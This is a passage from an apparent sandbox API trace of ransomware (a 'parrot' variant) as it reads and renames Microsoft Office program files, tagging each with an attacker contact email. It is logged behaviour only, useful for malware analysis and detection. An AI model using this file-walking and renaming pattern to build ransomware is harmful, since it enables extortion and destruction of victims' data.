lpNumberOfBytesRead=0x18f1c4*=0xd65a0, lpOverlapped=0x0) returned 1 [0197.574] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.662] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPRJ.OLB" (normalized: "c:\\program files\\microsoft office\\office14\\msprj.olb"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPRJ.OLB.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\msprj.olb.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0197.675] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0197.675] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0197.677] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.677] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4b7, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x4b7, lpOverlapped=0x0) returned 1 [0197.677] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.678] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mspub.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\mspub.exe.manifest"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mspub.exe.manifest.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\mspub.exe.manifest.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0197.684] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0197.684] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0197.686] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.686] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3ff28, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x3ff28, lpOverlapped=0x0) returned 1 [0197.693] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.704] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPUB.TLB" (normalized: "c:\\program files\\microsoft office\\office14\\mspub.tlb"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPUB.TLB.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\mspub.tlb.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0197.710] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0197.710] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0197.712] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.712] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xdc158, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0xdc158, lpOverlapped=0x0) returned 1 [0197.741] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.781] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSWORD.OLB" (normalized: "c:\\program files\\microsoft office\\office14\\msword.olb"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSWORD.OLB.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\msword.olb.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0197.870] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0197.870] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0197.912] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.912] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1536, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x1536, lpOverlapped=0x0) returned 1 [0197.914] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.915] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MYSL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\mysl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MYSL.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\mysl.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0197.929] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0197.929] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0197.931] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.931] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd00c, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0xd00c, lpOverlapped=0x0) returned 1 [0197.935] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.936] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OCRHC.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\ocrhc.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OCRHC.DAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\ocrhc.dat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0197.946] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0197.947] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0197.952] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.952] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa00c, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0xa00c, lpOverlapped=0x0) returned 1 [0197.954] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.954] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OCRVC.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\ocrvc.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OCRVC.DAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\ocrvc.dat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0197.970] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0197.970] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0197.979] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.979] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c99, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x1c99, lpOverlapped=0x0) returned 1 [0197.982] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.982] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OEMPRINT.CAT" (normalized: "c:\\program files\\microsoft office\\office14\\oemprint.cat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OEMPRINT.CAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\oemprint.cat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0197.989] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0197.989] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0197.991] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.991] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1374c, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x1374c, lpOverlapped=0x0) returned 1 [0197.994] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.995] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\olkirm.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRM.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\olkirm.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.002] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.002] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0198.115] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.116] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13594, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x13594, lpOverlapped=0x0) returned 1 [0198.118] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.123] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.123] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.123] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.124] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\olkirmv.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRMV.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\olkirmv.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.131] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.131] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0198.133] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.133] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x172bc, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x172bc, lpOverlapped=0x0) returned 1 [0198.135] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.140] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.142] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OMML2MML.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\omml2mml.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OMML2MML.XSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\omml2mml.xsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.148] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0198.247] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0198.247] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c1f0570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c1f0570, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.248] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0198.248] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0198.248] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5fd1300, ftCreationTime.dwHighDateTime=0x1c8e623, ftLastAccessTime.dwLowDateTime=0x6c1f0570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc5fd1300, ftLastWriteTime.dwHighDateTime=0x1c8e623, nFileSizeHigh=0x0, nFileSizeLow=0x1fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNote-PipelineConfig.xml", cAlternateFileName="SENDTO~1.XML")) returned 1 [0198.248] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5ebbe0 [0198.289] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.299] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0198.300] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.300] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1fa, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1fa, lpOverlapped=0x0) returned 1 [0198.300] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.301] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.301] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.301] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.301] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote-PipelineConfig.xml" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenote-pipelineconfig.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote-PipelineConfig.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenote-pipelineconfig.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.317] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.317] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0198.319] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.319] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2580, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2580, lpOverlapped=0x0) returned 1 [0198.320] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.320] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.320] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.320] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.323] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote.gpd" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenote.gpd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote.gpd.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenote.gpd.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.329] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.329] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0198.330] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.330] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7b, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7b, lpOverlapped=0x0) returned 1 [0198.330] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.331] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.331] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.331] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.331] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote.ini" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenote.ini"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote.ini.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenote.ini.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.337] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.337] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0198.338] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.338] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x51, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x51, lpOverlapped=0x0) returned 1 [0198.338] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.338] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.338] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.338] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.338] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendtoOneNoteFilter.gpd" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenotefilter.gpd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendtoOneNoteFilter.gpd.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenotefilter.gpd.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.346] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.346] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0198.347] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.347] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ca2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1ca2, lpOverlapped=0x0) returned 1 [0198.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.348] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.349] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.349] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.349] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNoteNames.gpd" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenotenames.gpd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNoteNames.gpd.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenotenames.gpd.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.354] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0198.354] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, 